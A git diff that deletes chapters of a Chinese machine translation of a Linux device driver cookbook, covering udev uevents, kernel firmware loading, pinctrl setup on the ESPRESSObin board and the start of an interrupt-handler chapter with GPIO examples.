removed\n", label, id); - - /* Dealocate the device */ - device_destroy(chrdev_class, chrdev->dev->devt); - cdev_del(&chrdev->cdev); - - return 0; -} -EXPORT_SYMBOL(chrdev_device_unregister); -``` - -# 还有更多... - -使用设备树不仅对描述外围设备(然后是整个系统)有用;通过使用它,我们还可以访问 Linux 向内核开发人员提供的几个现成的功能。所以让我们来看看最重要(也是最有用)的。 - -# 如何在/dev 中创建设备文件 - -在[第 3 章](03.html)、*使用 Char Drivers* 时,当我们创建一个新的字符设备时,用户空间中什么都没有发生,我们不得不使用`mknod`命令手工创建一个字符设备文件;但是,在本章中,当我们插入第二个内核模块时,这就创建了我们新的`chrdev`设备。通过从设备树中获取它们的属性,在`/dev`目录中,两个新的字符文件被自动创建。 - -正是 Linux 的内核对象机制实现了这种魔力;让我们看看如何。 - -每当在内核中创建新设备时,都会生成新的内核事件并将其发送到用户空间;然后,这个新事件被解释它的专用应用捕获。这些特殊的应用可能会有所不同,但是几乎所有重要的 Linux 发行版都使用的这种类型的最著名的应用是`udev`应用。 - -`udev`守护进程的诞生是为了替换和创建一种机制,在`/dev`目录下自动创建特殊的设备文件,它工作得非常好,现在它被用于几个不同的任务。事实上,`udev`守护进程在系统中添加或删除设备时(或改变状态时)直接从内核接收设备内核事件(称为**ueevents**),并且对于每个事件,它根据其配置文件执行一组规则。如果规则匹配各种设备属性,则执行该规则,然后在`/dev`目录中相应地创建新文件;匹配规则还可以提供额外的设备信息,用于创建有意义的符号链接名称、执行脚本等等! - -For further information regarding `udev` rules, a good starting point is a related page in the Debian Wiki at [https://wiki.debian.org/udev](https://wiki.debian.org/udev)[.](https://wiki.debian.org/udev) - -要监控这些事件,我们可以使用`udevadm`工具,该工具位于`udev`包中,如以下命令行所示: - -```sh -# udevadm monitor -k -p -s chrdev -monitor will print the received events for: -KERNEL - the kernel uevent -``` - -通过使用`monitor`子命令,我们选择`udevadm`监视器特性(因为`udevadm`可以执行其他几个任务),通过指定`-k`选项参数,我们要求只显示内核生成的消息(因为一些消息也可能来自用户空间);此外,通过使用`-p`选项参数,我们要求显示事件属性,并且使用`-s`选项参数,我们从子系统中选择仅匹配`chrdev`字符串的消息。 - -To see all kernel messages, during the `chrdev` module insertion the kernel sends just execute `udevadm monitor` command, dropping all of these option arguments. - -要查看新事件,只需执行上述命令,然后在另一个终端(或直接从串行控制台)重复内核模块插入。插入`chrdev-req.ko`模块后,我们看到与之前相同的内核消息: - -```sh -# insmod chrdev-req.ko -chrdev cdev-eeprom@2: chrdev cdev-eeprom with id 2 added -chrdev cdev-rom@4: chrdev cdev-rom with id 4 added -``` - -然而,在我们执行`udevadm`消息的终端中,我们现在应该看到如下内容: - -```sh -KERNEL[14909.624343] add /devices/platform/chrdev/chrdev/cdev-eeprom@2 (chrdev) -ACTION=add -DEVNAME=/dev/cdev-eeprom@2 -DEVPATH=/devices/platform/chrdev/chrdev/cdev-eeprom@2 -MAJOR=239 -MINOR=2 -SEQNUM=2297 -SUBSYSTEM=chrdev - -KERNEL[14909.631813] add /devices/platform/chrdev/chrdev/cdev-rom@4 (chrdev) -ACTION=add -DEVNAME=/dev/cdev-rom@4 -DEVPATH=/devices/platform/chrdev/chrdev/cdev-rom@4 -MAJOR=239 -MINOR=4 -SEQNUM=2298 -SUBSYSTEM=chrdev -``` - -这些是通知`udev`已经创建了两个名为`/dev/cdev-eeprom@2`和`/dev/cdev-rom@4`的新设备(带有其他属性)的内核消息,因此`udev`拥有在`/dev`目录下创建新文件所需的所有信息。 - -# 下载固件 - -通过使用设备树,我们现在能够为我们的驱动指定许多不同的设置,但是还有最后一件事我们必须看到:如何将固件加载到我们的设备中。事实上,一些设备可能需要一个程序来运行,由于许可证的原因,该程序不能在内核中链接。 - -在本节中,我们将看到一些示例,说明我们如何要求内核为我们的设备加载固件。 - -# 准备好 - -一些外围设备需要固件才能工作,然后我们需要一种机制来将这样的二进制数据加载到其中。Linux 为我们提供了不同的机制来完成这项工作,它们都引用了`request_firmware()`函数。 - -每当我们在驱动中使用`request_firmware(..., "filename", ...)`函数调用(或它的一个朋友)时(指定一个文件名),内核就开始查看不同的位置: - -* 首先,它会查看引导映像文件,以防固件从其中加载;这是因为我们可以在编译期间将二进制代码与内核捆绑在一起。但是,只有当固件是自由软件时,才允许使用这种解决方案;否则无法链接到 Linux。如果我们也必须重新编译内核,那么在更改固件数据时也不是很灵活。 -* 如果内核中没有存储任何数据,它将开始从文件系统中直接加载固件数据,方法是在多个路径位置中查找`filename`,从为内核命令行指定的位置开始,使用`firmware_class.path=""`选项参数,然后在`/lib/firmware/updates/`,然后进入`/lib/firmware/updates`,然后进入`/lib/firmware/`,最后进入`/lib/firmware`目录。 - -`` is the kernel release version number, which can be obtained directly from the kernel by using the `uname -r` command as in the following: -`$ uname -r` -`4.15.0-45-generic` - -* 如果最后一步也失败了,那么内核可以尝试回退过程,包括启用固件加载器用户助手。必须通过启用以下内核配置设置来为内核配置启用最后一次加载固件的机会: - -```sh -CONFIG_FW_LOADER_USER_HELPER=y -CONFIG_FW_LOADER_USER_HELPER_FALLBACK=y -``` - -通过使用通常的`make menuconfig`方法,我们必须通过设备驱动,然后通用驱动选项,和固件加载程序条目来启用它们(见下面的截图)。 - -![](img/8414861b-4598-45f0-a655-6a71fa163629.png) - -启用这些设置并重新编译内核后,我们可以详细研究如何在内核中为驱动加载自定义固件。 - -# 怎么做... - -首先,我们需要一个专注于固件加载的`chrdev-req.c`文件的修改版本;这就是为什么最好使用另一个文件。 - -1. 为了完成我们的工作,我们可以使用具有以下设备定义的`chrdev-fw.c`文件: - -```sh -static const struct of_device_id of_chrdev_req_match[] = { - { - .compatible = "ldddc,chrdev-fw_wait", - }, - { - .compatible = "ldddc,chrdev-fw_nowait", - }, - { /* sentinel */ } -}; -MODULE_DEVICE_TABLE(of, of_chrdev_req_match); - -static struct platform_driver chrdev_req_driver = { - .probe = chrdev_req_probe, - .remove = chrdev_req_remove, - .driver = { - .name = "chrdev-fw", - .of_match_table = of_chrdev_req_match, - }, -}; -module_platform_driver(chrdev_req_driver); -``` - -The  `chrdev-fw.c` file can be found in the GitHub sources for this chapter. - -2. 在这种情况下,我们的探测功能可以如下实现,在`chrdev_req_probe()`功能开始时,我们读取设备的一些属性: - -```sh -static int chrdev_req_probe(struct platform_device *pdev) -{ - struct device *dev = &pdev->dev; - struct device_node *np = dev->of_node; - struct fwnode_handle *fwh = of_fwnode_handle(np); - struct module *owner = THIS_MODULE; - const char *file; - int ret = 0; - - /* Read device properties */ - if (fwnode_property_read_string(fwh, "firmware", &file)) { - dev_err(dev, "unable to get property \"firmware\"!"); - return -EINVAL; - } - - /* Load device firmware */ - if (of_device_is_compatible(np, "ldddc,chrdev-fw_wait")) - ret = chrdev_load_fw_wait(dev, file); - else if (of_device_is_compatible(np, "ldddc,chrdev-fw_nowait")) - ret = chrdev_load_fw_nowait(dev, file); - if (ret) - return ret; -``` - -然后,我们注册 char 设备: - -```sh - /* Register the new chr device */ - ret = chrdev_device_register("chrdev-fw", 0, 0, owner, dev); - if (ret) { - dev_err(dev, "unable to register"); - return ret; - } - - return 0; -} -``` - -3. 前一种设备类型调用`chrdev_load_fw_wait()`函数,该函数执行下一步。它从请求固件的数据结构开始: - -```sh -static int chrdev_load_fw_wait(struct device *dev, const char *file) -{ - char fw_name[FIRMWARE_NLEN]; - const struct firmware *fw; - int ret; - - /* Compose firmware filename */ - if (strlen(file) > (128 - 6 - sizeof(FIRMWARE_VER))) - return -EINVAL; - sprintf(fw_name, "%s-%s.bin", file, FIRMWARE_VER); - - /* Do the firmware request */ - ret = request_firmware(&fw, fw_name, dev); - if (ret) { - dev_err(dev, "unable to load firmware\n"); - return ret; - } -``` - -然后转储接收到的数据,并最终释放固件先前分配的数据结构: - -```sh - dump_data(fw->data, fw->size); - - /* Firmware data has been read, now we can release it */ - release_firmware(fw); - - return 0; -} -``` - -The `FIRMWARE_VER` and `FIRMWARE_NLEN` macros have been defined within the  `chrdev-fw.c` file as shown in the following: `#define FIRMWARE_VER     "1.0.0"` -`#define FIRMWARE_NLEN    128` - -# 它是如何工作的... - -在*步骤 1* 中,在`of_chrdev_req_match[]`阵列中,我们现在有两个设备可以用来测试加载固件的不同方式。一个名为`ldddc,chrdev-fw_wait`的设备可用于测试从文件系统直接加载固件,而另一个名为`ldddc,chrdev-fw_nowait`的设备可用于测试固件加载器的用户助手。 -我用这两个例子向读者展示了两种不同的固件加载技术,但实际上,这两种方法可以用于不同的目的;前者可以在我们的设备自启动以来需要其固件时使用,否则它不能工作(这迫使驱动没有内置),而前者可以在我们的设备即使没有任何固件也可以部分使用时使用,并且它可以在设备初始化后加载(这去除了强制内置形式)。 - -在*步骤 2* 中,在读取`firmware`属性(保存固件文件名)后,我们检查设备是否与`ldddc,chrdev-fw_wait`或`ldddc,chrdev-fw_nowait`设备兼容,然后在注册新设备之前,我们调用适当的固件加载功能。 - -在*步骤 3* 、中,`chrdev_load_fw_wait()`函数以`-.bin`形式建立文件名,然后调用名为`request_firmware()`的有效固件加载函数。作为响应,该函数可能会返回一个错误,该错误会在驱动加载过程中导致错误,或者它可以返回一个适当的结构,该结构将固件保存到具有`long fw->size`大小字节的`buffer fw->data`指针中。`dump_data()`函数只是通过将固件数据打印到内核消息中来转储固件数据,但是`release_firmware()`函数很重要,必须调用它来通知内核我们已经读取了所有数据并完成了它,然后它才能释放资源。 - -另一方面,如果我们在设备树中指定`ldddc,chrdev-fw_nowait`设备,那么将调用`chrdev_load_fw_nowait()`函数。这个函数的操作方式和以前类似,但最后它调用`request_firmware_nowait()`,其工作方式类似于`request_firmware()`。但是,如果固件不是直接从文件系统加载的,它会执行回退过程,这涉及到固件加载程序的用户助手。这个特殊的助手向`udev`工具(或类似工具)发送一个 uevent 消息,这将导致自动固件加载,或者在 sysfs 中创建一个条目,用户可以使用它来手动加载内核。 - -`chrdev_load_fw_nowait()`功能具有以下主体: - -```sh -static int chrdev_load_fw_nowait(struct device *dev, const char *file) -{ - char fw_name[FIRMWARE_NLEN]; - int ret; - - /* Compose firmware filename */ - if (strlen(file) > (128 - 6 - sizeof(FIRMWARE_VER))) - return -EINVAL; - sprintf(fw_name, "%s-%s.bin", file, FIRMWARE_VER); - - /* Do the firmware request */ - ret = request_firmware_nowait(THIS_MODULE, false, fw_name, dev, - GFP_KERNEL, dev, chrdev_fw_cb); - if (ret) { - dev_err(dev, - "unable to register call back for firmware loading\n"); - return ret; - } - - return 0; -} -``` - -`request_firmware_nowait()`和`request_firmware()`之间的一些重要区别在于,前者定义了一个回调函数,每当从用户空间实际加载固件时都会调用该函数,并且它有一个布尔值作为第二个参数,该参数可用于要求内核向用户空间发送或不发送 uevent 消息。通过使用一个值,我们实现了类似于`request_firmware()`的功能,而如果我们指定了一个错误的值(如我们的情况),我们会强制手动加载固件。 - -然后,当用户空间进程采取所需的步骤来加载所需的固件时,使用回调函数,我们可以实际加载固件数据,如下例所示: - -```sh -static void chrdev_fw_cb(const struct firmware *fw, void *context) -{ - struct device *dev = context; - - dev_info(dev, "firmware callback executed!\n"); - if (!fw) { - dev_err(dev, "unable to load firmware\n"); - return; - } - - dump_data(fw->data, fw->size); - - /* Firmware data has been read, now we can release it */ - release_firmware(fw); -} -``` - -在这个函数中,我们实际上采取了与之前相同的步骤来转储内核消息中的固件数据。 - -# 还有更多 - -让我们验证一下这个食谱中的每样东西是如何工作的。作为第一步,让我们尝试使用`ldddc,chrdev-fw_wait`设备,它使用`request_firmware()`功能;我们需要设备树中的下一个条目: - -```sh ---- a/arch/arm64/boot/dts/marvell/armada-3720-espressobin.dts -+++ b/arch/arm64/boot/dts/marvell/armada-3720-espressobin.dts -@@ -41,6 +41,11 @@ - 3300000 0x0>; - enable-active-high; - }; -+ -+ chrdev { -+ compatible = "ldddc,chrdev-fw_wait"; -+ firmware = "chrdev-wait"; -+ }; - }; - - /* J9 */ -``` - -然后我们必须编译代码,我们可以通过简单地将新的`chrdev-fw.c`文件添加到`makefile`中来做到这一点,如下所示: - -```sh ---- a/chapter_4/chrdev/Makefile -+++ b/chapter_4/chrdev/Makefile -@@ -6,7 +6,7 @@ ARCH ?= arm64 - CROSS_COMPILE ?= aarch64-linux-gnu- - - obj-m = chrdev.o --obj-m += chrdev-req.o -+obj-m += chrdev-fw.o - - all: modules -``` - -一旦我们在 ESPRESSObin 的文件系统中有了新模块,我们可以尝试将它们插入内核,如下所示: - -```sh -# insmod chrdev.ko -chrdev: loading out-of-tree module taints kernel. -chrdev:chrdev_init: got major 239 -# insmod chrdev-fw.ko -chrdev-fw chrdev: Direct firmware load for chrdev-wait-1.0.0.bin -failed with error -2 -chrdev-fw chrdev: Falling back to syfs fallback for: chrdev-wait-1.0.0.bin -chrdev-fw chrdev: unable to load firmware -chrdev-fw: probe of chrdev failed with error -11 -``` - -正如我们所看到的,内核试图加载`chrdev-wait-1.0.0.bin`文件,但是它找不到它,因为它根本不存在于文件系统中;然后,内核转到 sysfs 回退,但是由于它再次失败,我们得到一个错误,驱动加载也失败了。 - -为了得到肯定的结果,我们必须在其中一个搜索路径中添加一个名为`chrdev-wait-1.0.0.bin`的文件;例如,我们可以将其放入`/lib/firmware/`中,如下例所示: - -```sh -# echo "THIS IS A DUMMY FIRMWARE FOR CHRDEV DEVICE" > \ - /lib/firmware/chrdev-wait-1.0.0.bin -``` - -If the `/lib/firmware` directory doesn't exist, we can just create it using the `mkdir /lib/firmware` command. - -现在,我们可以按如下方式重新加载我们的`chrdev-fw.ko`模块: - -```sh -# rmmod chrdev-fw -# insmod chrdev-fw.ko -chrdev_fw:dump_data: 54[T] 48[H] 49[I] 53[S] 20[ ] 49[I] 53[S] 20[ ] -chrdev_fw:dump_data: 41[A] 20[ ] 44[D] 55[U] 4d[M] 4d[M] 59[Y] 20[ ] -chrdev_fw:dump_data: 46[F] 49[I] 52[R] 4d[M] 57[W] 41[A] 52[R] 45[E] -chrdev_fw:dump_data: 20[ ] 46[F] 4f[O] 52[R] 20[ ] 43[C] 48[H] 52[R] -chrdev_fw:dump_data: 44[D] 45[E] 56[V] 20[ ] 44[D] 45[E] 56[V] 49[I] -chrdev_fw:dump_data: 43[C] 45[E] 0a[-] -chrdev chrdev-fw@0: chrdev chrdev-fw with id 0 added -``` - -完美!现在固件已经按照要求加载,并且`chrdev`设备已经正确创建。 - -现在,我们可以尝试使用第二个设备,方法是如下修改设备树,然后使用新的 DTB 文件重新启动 ESPRESSObin: - -```sh ---- a/arch/arm64/boot/dts/marvell/armada-3720-espressobin.dts -+++ b/arch/arm64/boot/dts/marvell/armada-3720-espressobin.dts -@@ -41,6 +41,11 @@ - 3300000 0x0>; - enable-active-high; - }; -+ -+ chrdev { -+ compatible = "ldddc,chrdev-fw_nowait"; -+ firmware = "chrdev-nowait"; -+ }; - }; - - /* J9 */ -``` - -有了这些新的配置设置,如果我们尝试加载`chrdev`模块,我们会得到以下消息: - -```sh -# insmod chrdev.ko -chrdev: loading out-of-tree module taints kernel. -chrdev:chrdev_init: got major 239 -# insmod chrdev-fw.ko -chrdev-fw chrdev: Direct firmware load for chrdev-nowait-1.0.0.bin failed with error -2 -chrdev-fw chrdev: Falling back to syfs fallback for: chrdev-nowait-1.0.0.bin -chrdev chrdev-fw@0: chrdev chrdev-fw with id 0 added -``` - -这一次,内核还是尝试直接从文件系统加载固件,但是失败了,因为不存在名为`chrdev-nowait-1.0.0.bin`的文件;然后,它会返回到回退固件加载器用户助手,我们已经强制进入手动模式。然而,驱动的探测功能成功注册了我们的`chrdev`驱动,即使尚未加载固件,该驱动现在也完全正常工作。 - -要手动加载固件,我们可以在`/sys/class/firmware/`目录中使用特殊的 sysfs 条目,如下所示: - -```sh -# ls /sys/class/firmware/ -chrdev-nowait-1.0.0.bin timeout -``` - -`chrdev-nowait-1.0.0.bin`目录被称为作为`fw_name`参数传递给`request_firmware_nowait()`函数的字符串,在它里面,我们可以找到以下文件: - -```sh -# ls /sys/class/firmware/chrdev-nowait-1.0.0.bin -data device loading power subsystem uevent -``` - -现在,自动加载固件所需的步骤如下: - -```sh -# echo 1 > /sys/class/firmware/chrdev-nowait-1.0.0.bin/loading -# echo "THIS IS A DUMMY FIRMWARE" > /sys/class/firmware/chrdev-nowait-1.0.0.bin/data -# echo 0 > /sys/class/firmware/chrdev-nowait-1.0.0.bin/loading -chrdev-fw chrdev: firmware callback executed! -chrdev_fw:dump_data: 54[T] 48[H] 49[I] 53[S] 20[ ] 49[I] 53[S] 20[ ] -chrdev_fw:dump_data: 41[A] 20[ ] 44[D] 55[U] 4d[M] 4d[M] 59[Y] 20[ ] -chrdev_fw:dump_data: 46[F] 49[I] 52[R] 4d[M] 57[W] 41[A] 52[R] 45[E] -chrdev_fw:dump_data: 0a[-] -``` - -我们通过将`1`写入`loading`文件开始下载程序,然后我们必须将所有固件数据复制到`data`文件中;然后我们通过在`loading`文件中写入`0`来完成下载。一旦我们这样做了,内核就会调用我们的驱动回调,固件就会被加载。 - -# 请参见 - -* 有关固件加载的更多信息,一个很好的起点是 Linux 驱动实现者的 API 指南,可在[https://www . kernel . org/doc/html/v 5 . 0/driver-API/firmware/request _ firmware . html](https://www.kernel.org/doc/html/v5.0/driver-api/firmware/request_firmware.html)在线获得。 - -# 为特定外围设备配置 CPU 引脚 - -作为设备驱动开发人员,这项任务非常重要,因为为了能够与外部设备(或内部设备,但有外部信号线)进行通信,我们必须确保每个中央处理器引脚都经过正确配置,能够与这些外部信号进行通信。在本食谱中,我们将了解如何使用设备树来配置 CPU 引脚。 - -# 怎么做... - -举个简单的例子,让我们尝试修改 ESPRESSObin 的引脚配置。 - -1. 首先,我们应该通过查看`/sys/bus/platform/drivers/mvebu-uart/`目录中的 sysfs 来看一下当前的配置,在这里我们验证当前只启用了一个 UART: - -```sh -# ls /sys/bus/platform/drivers/mvebu-uart/ -d0012000.serial uevent -# ls /sys/bus/platform/drivers/mvebu-uart/d0012000.serial/tty/ -ttyMV0 -``` - -然后`mvebu-uart`驱动管理`d0012000.serial`设备,可以使用`/dev/ttyMV0`文件访问。我们还可以通过查看 debugfs 中的`/sys/kernel/debug/pinctrl/d0013800.pinctrl-armada_37xx-pinctrl/pinmux-pins`文件来验证 CPU 的引脚是如何配置的,我们可以看到只有`uart1`组被启用: - -```sh -# cat /sys/kernel/debug/pinctrl/d0013800.pinctrl-armada_37xx-p -inctrl/pinmux-pins -Pinmux settings per pin -Format: pin (name): mux_owner gpio_owner hog? -pin 0 (GPIO1-0): (MUX UNCLAIMED) (GPIO UNCLAIMED) -pin 1 (GPIO1-1): (MUX UNCLAIMED) (GPIO UNCLAIMED) -pin 2 (GPIO1-2): (MUX UNCLAIMED) (GPIO UNCLAIMED) -pin 3 (GPIO1-3): (MUX UNCLAIMED) GPIO1:479 -pin 4 (GPIO1-4): (MUX UNCLAIMED) GPIO1:480 -pin 5 (GPIO1-5): (MUX UNCLAIMED) (GPIO UNCLAIMED) -... -pin 24 (GPIO1-24): (MUX UNCLAIMED) (GPIO UNCLAIMED) -pin 25 (GPIO1-25): d0012000.serial (GPIO UNCLAIMED) function uart group uart1 -pin 26 (GPIO1-26): d0012000.serial (GPIO UNCLAIMED) function uart group uart1 -pin 27 (GPIO1-27): (MUX UNCLAIMED) (GPIO UNCLAIMED) -... -``` - -For further information about debugfs, see [https://en.wikipedia.org/wiki/Debugfs](https://en.wikipedia.org/wiki/Debugfs) [and then following some external links.](https://en.wikipedia.org/wiki/Debugfs) - -2. 然后,我们应该尝试修改 ESPRESSObin 的 DTS 文件,以启用另一个名为`uart1`的 UART 设备,其自身的引脚在`uart2_pins`组中定义如下: - -```sh ---- a/arch/arm64/boot/dts/marvell/armada-3720-espressobin.dts -+++ b/arch/arm64/boot/dts/marvell/armada-3720-espressobin.dts -@@ -97,6 +97,13 @@ - status = "okay"; - }; - -+/* Exported on extension connector P9 at pins 24(UA2_TXD) and 26(UA2_RXD) */ -+&uart1 { -+ pinctrl-names = "default"; -+ pinctrl-0 = <&uart2_pins>; -+ status = "okay"; -+}; -+ - /* - * Connector J17 and J18 expose a number of different features. Some pins are - * multiplexed. This is the case for instance for the following features: -``` - -该引脚组在`linux/arch/arm64/boot/dts/marvell/armada-37xx.dtsi`文件中定义如下: - -```sh - uart2_pins: uart2-pins { - groups = "uart2"; - function = "uart"; - }; -``` - -# 它是如何工作的... - -让我们通过测试 pinctrl 修改来检查这是如何工作的。为此,我们必须像往常一样重新生成 ESPRESSObin 的 DTB 文件,并重新启动系统。如果一切正常,我们现在应该有两个 UART 设备,如下所示: - -```sh -# ls /sys/bus/platform/drivers/mvebu-uart/ -d0012000.serial d0012200.serial uevent -# ls /sys/bus/platform/drivers/mvebu-uart/d0012200.serial/tty/ -ttyMV1 -``` - -此外,如果我们再看一下`/sys/kernel/debug/pinctrl/d0013800.pinctrl-armada_37xx-pinctrl/pinmux-pins`文件,我们会发现这次`uart2`引脚组已经添加,然后我们的新串行端口在扩展连接器 P9 上的引脚 24 和 26 处可用。 - -# 请参见 - -* 关于 pinctrl 子系统的更多信息,一个好的起点是[https://www.kernel.org/doc/Documentation/pinctrl.txt](https://www.kernel.org/doc/Documentation/pinctrl.txt)。 \ No newline at end of file diff --git a/docs/linux-device-driver-dev-cb/05.md b/docs/linux-device-driver-dev-cb/05.md deleted file mode 100644 index 89ac9392..00000000 --- a/docs/linux-device-driver-dev-cb/05.md +++ /dev/null @@ -1,1812 +0,0 @@ -# 五、管理中断和并发 - -实现设备驱动时,开发人员必须解决两个主要问题: - -* 如何与外设交换数据 -* 如何管理外设对中央处理器产生的中断 - -前几章已经讨论了第一点(至少对于字符驱动),而第二点(及其相关内容)将是本章的主题。 - -在内核中,我们可以考虑运行在两个主要执行上下文中的中央处理器(或执行某些代码的内部内核)——**中断上下文**和**进程上下文**。中断上下文非常容易理解;事实上,CPU 每次执行中断处理程序(即每次中断发生时内核执行的特殊代码)时都处于这种上下文中。除此之外,中断可以由硬件甚至软件产生;这就是我们讨论硬件中断和软件中断的原因(我们将在接下来的章节中仔细研究软件中断),它们依次定义了**硬件中断上下文**和**软件中断上下文**。 - -另一方面,**进程上下文**是指 CPU(或其内部核心之一)在内核空间中执行某个进程的某些代码(进程也在用户空间中执行,但我们在此不做介绍),即 CPU 执行某个进程已经调用的系统调用的代码(参见[第 3 章](03.html)、*使用字符驱动*)。在这种情况下,很常见的是让出 CPU,然后暂停当前进程,因为外围设备的一些数据还没有准备好被读取;例如;这可以通过要求调度程序获取 CPU,然后将其分配给另一个进程来实现。当这种情况发生时,我们通常说当前的**进程已经进入睡眠状态,**并且当数据新可用时,我们说一个**进程已经被唤醒**,并且,它从先前中断的地方重新开始它的执行。 - -在本章中,我们将看到如何执行所有这些操作,设备驱动开发人员如何请求内核暂停当前的读取进程,因为外围设备没有准备好响应请求,以及如何唤醒正在睡眠的进程。我们还将看到如何管理对我们的驱动方法的并发访问,以避免由于竞争条件导致的数据损坏,以及如何管理时间流,以便在明确定义的时间量之后执行特定的操作,同时考虑外围设备可能需要的时间限制。 - -我们还将研究如何在字符驱动和用户空间之间交换数据,以及如何处理驱动应该能够管理的内核事件。第一个(可能也是最重要的)例子是如何管理中断,接下来是如何“及时”推迟一个作业,以及如何等待一个事件。我们可以使用以下方法完成所有这些工作: - -* 实现中断处理程序 -* 推迟工作 -* 用内核定时器管理时间 -* 等待事件 -* 进行原子操作 - -# 技术要求 - -关于本章的更多信息,可以访问*附录*。 - -本章使用的代码和其他文件可以在[https://GitHub . com/gio metti/Linux _ device _ driver _ development _ cook book/tree/master/chapter _ 05](https://github.com/giometti/linux_device_driver_development_cookbook/tree/master/chapter_05)下载。 - -# 实现中断处理程序 - -在内核内部,**中断处理程序**是与 CPU 中断线路(或引脚)相关联的功能,只要与该线路连接的外围设备改变引脚状态,Linux 就会执行该功能;当这种情况发生时,会为 CPU 生成一个中断请求,并由内核捕获,内核再执行适当的处理程序。 - -在这个方法中,我们将看到如何安装一个中断处理程序,每当一个中断发生在一个定义明确的行上时,内核就执行这个中断处理程序。 - -# 准备好 - -实现中断处理程序最简单的代码是`linux/drivers/misc/dummy-irq.c`中的代码。以下是处理程序: - -```sh -static int irq = -1; - -static irqreturn_t dummy_interrupt(int irq, void *dev_id) -{ - static int count = 0; - - if (count == 0) { - printk(KERN_INFO "dummy-irq: interrupt occurred on IRQ %d\n", - irq); - count++; - } - - return IRQ_NONE; -} -``` - -下面是安装或删除它的代码: - -```sh -static int __init dummy_irq_init(void) -{ - if (irq < 0) { - printk(KERN_ERR "dummy-irq: no IRQ given. Use irq=N\n"); - return -EIO; - } - if (request_irq(irq, &dummy_interrupt, IRQF_SHARED, "dummy_irq", &irq)) { - printk(KERN_ERR "dummy-irq: cannot register IRQ %d\n", irq); - return -EIO; - } - printk(KERN_INFO "dummy-irq: registered for IRQ %d\n", irq); - return 0; -} - -static void __exit dummy_irq_exit(void) -{ - printk(KERN_INFO "dummy-irq unloaded\n"); - free_irq(irq, &irq); -} -``` - -这段代码真的很简单,我们可以看到,它调用了`dummy_irq_init()`模块初始化函数中的`request_irq()`函数,`dummy_irq_exit()`模块退出函数中的`free_irq()`函数。然后,这两个函数分别要求内核将`dummy_interrupt()`中断处理程序连接到`irq`中断线上,并在相反的操作中,将处理程序从中断线上分离。 - -这段代码简要展示了如何安装中断处理程序;但是,它没有显示设备驱动的开发人员如何安装自己的处理程序;这就是为什么在下一节中,我们将使用用通用输入输出线(GPIO)模拟的真实中断线路来做一个实际的例子。 - -为了对我们的第一个**中断请求** ( **IRQ** )处理程序进行管理,我们可以使用一个普通的 GPIO 作为中断线路;但是,在这样做之前,我们必须验证我们的 GPIO 线路是否正确检测到高输入电平和低输入电平。 - -为了管理 GPIOs,我们将使用它的 sysfs 接口,因此,首先,我们必须通过检查`/sys/class/gpio`目录是否存在来验证它当前是否为我们的内核启用。如果没有,我们将不得不使用内核配置菜单(`make menuconfig`)来启用`CONFIG_GPIO_SYSFS`内核配置条目;可以通过转到设备驱动,然后转到 GPIO 支持,并启用/sys/class/gpio/...(sysfs 接口)菜单条目。 - -一种快速检查条目是否已启用的方法是使用以下命令行: - -```sh -$ rgrep CONFIG_GPIO_SYSFS .config -CONFIG_GPIO_SYSFS=y -``` - -否则,如果未启用,我们将获得以下输出,然后我们必须启用它: - -```sh -$ rgrep CONFIG_GPIO_SYSFS .config -# CONFIG_GPIO_SYSFS is not set -``` - -如果一切就绪,我们应该得到类似于以下内容的东西: - -```sh -# ls /sys/class/gpio/ -export gpiochip446 gpiochip476 unexport -``` - -`gpiochip446`和`gpiochip476`目录代表两个 ESPRESSObin 的 GPIOs 控制器,正如我们在前面描述设备树的章节中看到的。(参见[第 4 章](09.html)、*附录中*无敌 3720* 部分使用设备树、*、*为特定外设配置中央处理器引脚*部分)。`export`和`unexport`文件用于访问 GPIO 线路。 - -为了完成我们的工作,我们需要访问 MPP2_20 CPU 线,它被映射到 ESPRESSObin 扩展#2 的第 12 针;即 ESPRESSObin 示意图上的连接器 P8(或 J18)。(详见[第一章](01.html)中*技术要求*部分,一*安装开发系统*)。在 CPU 数据表中,我们发现 MPP2_20 线连接到第二个 pinctrl 控制器(名为南桥,在设备树中映射为`pinctrl_sb: pinctrl@18800`)。为了知道哪个是正确的 gpiochip 设备,我们仍然可以使用 sysfs,如下所示: - -```sh -# ls -l /sys/class/gpio/gpiochip4* -lrwxrwxrwx 1 root root 0 Mar 7 20:20 /sys/class/gpio/gpiochip446 -> - ../../devices/platform/soc/soc:internal-regs@d0000000/d0018800.pinctrl/gpio/gpiochip446 -lrwxrwxrwx 1 root root 0 Mar 7 20:20 /sys/class/gpio/gpiochip476 -> - ../../devices/platform/soc/soc:internal-regs@d0000000/d0013800.pinctrl/gpio/gpiochip476 -``` - -现在很明显,我们必须使用`gpiochip446`。在该目录中,我们将找到`base`文件,该文件告诉我们第一个 GPIO 行的相应编号,并且,由于我们使用的是第 20 行,我们应该如下导出`base+20` GPIO 行: - -```sh -# cat /sys/class/gpio/gpiochip446/base -446 -# echo 466 > /sys/class/gpio/export -``` - -如果一切正常,新的`gpio466`条目现在出现在`/sys/class/gpio`目录中,对应于我们刚刚导出的 GPIO 行: - -```sh -# ls /sys/class/gpio/ -export gpio466 gpiochip446 gpiochip476 unexport -``` - -太好了。`gpio466`目录现在可以使用了,通过查看它,我们得到了以下文件: - -```sh -# ls /sys/class/gpio/gpio466/ -active_low device direction edge power subsystem uevent value -``` - -要查看我们是否能够修改我们的 GPIO 行,我们可以简单地使用以下命令: - -```sh -cat /sys/class/gpio/gpio466/value -1 -``` - -Note that the line is set to 1, even if unconnected, because this pin is normally configured with an internal pull-up that forces the pin state to the high level. - -该输出告诉我们,GPIO 线 20 当前为高电平,但是,如果我们将 P8 连接器的引脚 12 连接到同一连接器(P8/J8)的地(引脚 1 或 2),GPIO 线应该进入下行状态,前面的命令现在应该返回 0,如下所示: - -```sh -# cat /sys/class/gpio/gpio466/value -0 -``` - -If the line doesn't change, you should verify that you're working on the correct pins/connector. Also, you should take a look at the `/sys/class/gpio/gpio466/direction` file, which should hold the `in` string, shown as follows: -**`# cat /sys/class/gpio/gpio466/direction`** -`in` - -好的。现在我们准备好生成中断了! - -# 怎么做... - -让我们看看如何通过以下步骤来实现: - -1. 现在,让我们假设我们有一个名为`irqtest`的专用平台驱动,在 ESPRESSObin 设备树中定义如下: - -```sh - irqtest { - compatible = "ldddc,irqtest"; - - gpios = <&gpiosb 20 GPIO_ACTIVE_LOW>; - }; -``` - -Remember that the ESPRESSObin device tree file is `linux/arch/arm64/boot/dts/marvell/armada-3720-espressobin.dts`. - -2. 然后,我们必须向内核添加一个平台驱动,就像我们在上一章中用以下代码所做的那样: - -```sh -static const struct of_device_id irqtest_dt_ids[] = { - { .compatible = 